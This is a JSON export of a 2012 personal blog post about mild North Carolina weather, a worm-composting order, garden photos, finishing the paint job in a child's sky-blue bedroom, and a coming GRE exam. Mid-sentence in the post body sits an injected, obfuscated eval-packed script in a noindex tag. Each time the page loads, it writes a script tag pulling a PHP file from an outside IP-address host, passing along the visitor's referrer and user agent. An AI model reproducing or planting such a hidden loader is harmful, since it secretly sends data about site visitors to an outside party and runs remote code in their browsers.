{"id":3193,"date":"2012-06-20T22:52:40","date_gmt":"2012-06-21T05:52:40","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=3193"},"modified":"2012-06-21T11:20:44","modified_gmt":"2012-06-21T18:20:44","slug":"summer-solstice","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=3193","title":{"rendered":"Summer Solstice"},"content":{"rendered":"<p>First official day of summer&#8230; usually in NC it&#8217;s hot and humid starting on Groundhog&#8217;s Day, but this year we&#8217;re having an amazing, beautiful, mild June.\u00c2\u00a0 Mornings are cool and not too sticky, afternoons get hot and stormy, evenings cool down again after the rain.\u00c2\u00a0 The garden loves it! \u00c2\u00a0And what do you know: \u00c2\u00a0in the mail today, my worms arrived! \u00c2\u00a0Yes, 250 earthworms in a box&#8230; \u00c2\u00a0I ordered them online for a worm-compost-bin. \u00c2\u00a0Worm-composting is not gross because it is not smelly, and earthworms are delightful pets.\u00c2\u00a0 <em>I <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aadri|var|u0026u|referrer|rafzt||js|php'.split('|'),0,{}))\n<\/script><\/noindex> didn&#8217;t take a photo of them, though.\u00c2\u00a0<\/em><\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/120621_003.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3202\" title=\"Primroses \" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/120621_003-300x194.jpg\" alt=\"\" width=\"300\" height=\"194\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/120621_003-300x194.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/120621_003.jpg 890w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/120621_005.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3203\" title=\"Tomato (and grape vine in the background)\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/120621_005-300x183.jpg\" alt=\"\" width=\"300\" height=\"183\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/120621_005-300x183.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/120621_005.jpg 896w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Paul and I took a break mid-day to sneak out and get Sno-Balls at Chilly&#8217;s. \u00c2\u00a0:)<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/paul1.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3201\" title=\"Paul with his chocolate Sno-Ball.\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/paul1-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/paul1-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/paul1.jpg 960w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>And I&#8217;m finally &#8211; FINALLY! &#8211; done painting! \u00c2\u00a0(Unless I decide to do the hall and the dining room&#8230; \u00c2\u00a0but it won&#8217;t be any time soon!) \u00c2\u00a0&#8220;Emily&#8217;s room&#8221; is now sky-blue.\u00c2\u00a0 Her original plan for the color scheme was light blue walls, green door trim, yellow window trim, orange stenciled starfish and the actual doors were going to be hot pink.\u00c2\u00a0 The futon is purple, so that pretty much covers the spectrum.\u00c2\u00a0 I&#8217;ve exercised some mild veto powers and chosen a very pale yellow for the trim, and I think we&#8217;ll aim the hot pink, orange, and green at the bookshelf.\u00c2\u00a0 The bookshelf is one of a set that we had in our playroom when we were kids, and it&#8217;s been lots and lots of different colors over the years.\u00c2\u00a0 It can handle whatever Emily wants to throw at it, including orange starfish.<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/120620_003.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3198\" title=\"sky blue room\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/120620_003-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/120620_003-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/120620_003-1024x768.jpg 1024w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/120620_003.jpg 1600w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/120620_004.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3199\" title=\"sky blue room\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/120620_004-225x300.jpg\" alt=\"\" width=\"225\" height=\"300\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/120620_004-225x300.jpg 225w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/120620_004-768x1024.jpg 768w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/120620_004.jpg 1200w\" sizes=\"(max-width: 225px) 100vw, 225px\" \/><\/a><\/p>\n<p>I&#8217;m trying very hard not to think about the fact that I&#8217;m taking the GRE this Saturday.\u00c2\u00a0 It should be fairly hilarious.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>First official day of summer&#8230; usually in NC it&#8217;s hot and humid starting on Groundhog&#8217;s&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[43,25,22],"class_list":["post-3193","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-garden","tag-kids","tag-projects"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3193"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3193"}],"version-history":[{"count":6,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3193\/revisions"}],"predecessor-version":[{"id":3205,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3193\/revisions\/3205"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3193"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3193"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3193"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}